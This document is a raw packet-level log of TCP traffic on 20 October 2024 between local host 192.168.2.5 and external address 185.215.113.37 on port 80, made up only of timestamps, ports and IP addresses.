Oct 20, 2024 08:40:17.367566109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367572069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367585897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367594957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367603064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367615938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367619038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367629051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367634058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367640018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367657900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367660046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367671967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367671967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367686987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367702007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367710114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367717981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367733955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367736101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367749929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367758036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367775917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367782116 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367789984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367805004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367805004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367816925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367819071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367834091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367835045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367845058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367857933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367862940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367873907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367876053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367887974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367897034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367911100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367911100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367922068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367927074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367940903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367949963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367959976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367964983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367976904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.367985010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.367997885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368000984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368015051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368030071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368040085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368045092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368063927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368088961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368165016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368179083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368192911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368206978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368217945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368221045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368231058 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368236065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368256092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368263960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368279934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368288994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368303061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368314981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368316889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368333101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368336916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368347883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368350029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368364096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368376017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368379116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368393898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368401051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368410110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368422031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368424892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368443012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368457079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368457079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368472099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368479967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368489027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368496895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368504047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368519068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368519068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368534088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368536949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368549109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368550062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368562937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368562937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368577957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368578911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368592978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368598938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368619919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368621111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368633986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368643999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368659019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368674994 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368683100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368693113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368707895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368714094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368730068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368731022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368757963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368766069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368773937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368788004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368788004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368803024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368805885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368828058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368829012 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368843079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368853092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368859053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368870020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368874073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368889093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368891001 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368902922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368905067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368917942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368922949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368933916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368946075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368957996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368973970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.368982077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.368990898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369004965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369008064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369020939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369035959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369038105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369050980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369065046 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369067907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369082928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369086981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369098902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369102955 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369116068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369131088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369136095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369146109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369157076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369160891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369175911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369178057 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369190931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369204044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369206905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369221926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369225979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369236946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369239092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369266033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369282007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369292021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369306087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369307041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369322062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369329929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369338036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369347095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369354963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369354963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369370937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369378090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369386911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369391918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369402885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369409084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369417906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369426966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369434118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369443893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369448900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369460106 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369465113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369479895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369496107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369496107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369503975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369512081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369527102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369540930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369540930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369543076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369558096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369574070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369575024 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369587898 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369590044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369606018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369609118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369621038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369635105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369637012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369652987 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369659901 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369668961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369683027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369683981 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369699001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369708061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369721889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369731903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369736910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369751930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369756937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369766951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369779110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369781017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369797945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369802952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369812012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369827986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369828939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.369852066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.369875908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554502010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554527998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554552078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554569960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554586887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554606915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554616928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554625988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554634094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554651022 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554656029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554666996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554673910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554691076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554702997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554810047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554824114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554838896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554852962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554858923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554889917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554903030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554918051 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554933071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554939985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554958105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.554970980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554986954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.554987907 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555010080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555011988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555023909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555039883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555039883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555057049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555068016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555085897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555088043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555103064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555124998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555145025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555149078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555164099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555187941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555200100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555207968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555222988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555238962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555252075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555260897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555267096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555277109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555280924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555293083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555309057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555314064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555322886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555339098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555347919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555355072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555356979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555387020 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555394888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555432081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555468082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555483103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555501938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555505037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555516958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555535078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555543900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555545092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555560112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555577993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555583954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555598974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555605888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555614948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555629015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555658102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555681944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555859089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555883884 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555897951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555926085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555958986 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.555978060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.555993080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556018114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556018114 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556032896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556035042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556050062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556072950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556073904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556088924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556096077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:17.556104898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556118965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:17.556121111 CEST	49704	80	192.168.2.5	185.215.113.37
